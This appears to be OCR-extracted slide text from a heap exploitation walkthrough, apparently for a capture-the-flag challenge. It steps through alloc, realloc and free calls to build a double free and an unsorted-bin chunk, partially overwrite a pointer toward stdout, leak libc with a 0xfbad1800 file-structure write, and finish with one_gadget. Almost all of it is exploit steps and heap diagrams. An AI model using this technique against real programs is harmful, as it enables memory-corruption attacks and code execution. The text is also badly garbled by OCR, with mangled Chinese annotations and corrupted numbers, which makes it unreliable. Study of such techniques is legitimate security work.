AAAA(0x30)

AAAA(0X50)

alloc(0, 0x28, "AAAA")
free(0)
alloc(0, 0x48, "AAAA")
free(0)



AAAA(0x30)

AAAA(0X50)

alloc(0, 0x58, "AAAA")
realloc(0, 0, ")



AAAA(0x30)

AAAA(0X50)

Ox61(size)

0

alloc(0, 0x58, "AAAA")
realloc(0, 0, "")

OX60 —>




AAAA(0x30)

AAAA(0X50)

Ox61(size)

0

realloc(0, 0x18, "BBBB")

OX60 —>




AAAA(0x30)

AAAA(0X50)

Ox21(size)

BBBB

Ox41(size)

realloc(0, 0x18, '"BBBB")

OX60 —>

Ox40 ——>




AAAA(0x30)

AAAA(0X50)

Ox21(size)

BBBB

Ox41(size)

free(0)

OX60 —>

Ox40 ——>




AAAA(0x30)

AAAA(0X50)

Ox21(size)

Ox41(size)

free(0)

OX60 —>

Ox40 ——>

Ox20 ——>




AAAA(0x30)

AAAA(0X50)

Ox21(size)

Ox41(size)

# target: double free ~

alloc(0, 0x38, "AAAA")
realloc(0, 0, "")

alloc(1l, 0x38, "BBBB")
free(0)

realloc(1l, Ox38, "B" x 0x10)
free(1l)

OX60 —>

Ox40 ——>

Ox20 ——>



AAAA(0x30)

AAAA(0X50)

Ox21(size)

Ox41(size)

# target: double free ~

alloc(0, 0x38, "AAAA")
realloc(0, 0, "")

alloc(1l, 0x38, "BBBB")
free(0)

realloc(1l, Ox38, "B" x 0x10)
free(1l)

OX60 —>

Ox40 ——>

Ox20 ——>



AAAA(0x30)

AAAA(0X50)

0x80

0x80

Ox21(size)

0x80

0x80

Ox41(size)

0x80

0x80

0x80

0x80

for i 1in range(9):
alloc(l, 0x68, "AAAA")
realloc(l, Ox78, "AAAA")
free(1)

PS: 0x80 —-- & H i KE AR/

OX60 —>

Ox40 ——>

Ox20 ——>



AAAA(0x30)

AAAA(0X50)

Ox21(size)

O0x441(size)

alloc(0, 0x58)
-=> ("D" * 0x18) + p64(0x441)

PS: 0x441 —-- 81 0x80 + #WHox41

Ox60 ——>

Ox40 ——>

Ox20 ——>




AAAA(0x30)

AAAA(0X50)

Ox21(size)

O0x441(size)

fd

bk

alloc(1l, 0x38, "DDDD")
realloc(1, 0, "")

Ox60 ——>

Ox40 ——>

Ox20 ——>

unsorted «—




AAAA(Ox30
( ) realloc(1l, 0x38, pl6(0x5760))
AAAA(0X50)
Ox21(size) PS: 0x5760 2R NWHE , B—IROJREA~—#F
BEIdIZ FD, AJLAR FD #8F stdout
O0x441(size)
stdout Ox60
bk
Ox40 ——>
Ox20 — > STDOUT

unsorted «—




AAAA(0x30)

AAAA(0X50)

Ox21(size)

O0x441(size)

stdout

bk

alloc(0, 0x38, "DDDD")
realloc(0, 0x18, "AAAA")
free(0)

Ox60 ——>

0x40 \\\\\\\\\\\\\\\\\\

STDOUT

Ox20 ——>
/ |

unsorted «—




AAAA(0x30)

AAAA(0X50)

Ox21(size)

Ox441(size)

stdout

bk

alloc(0, 0Ox38)
-—=> p64(0xfbad1800) + p64(0) * 3

GET STDOUT!!

Ox60 —

0Ox40

Ox20 ——

unsorted «—




%1‘331'%& STDOUT =it Libc WHEAXRE , HIIEET Libc, FTREA
?

BSE=1 : One_gadget





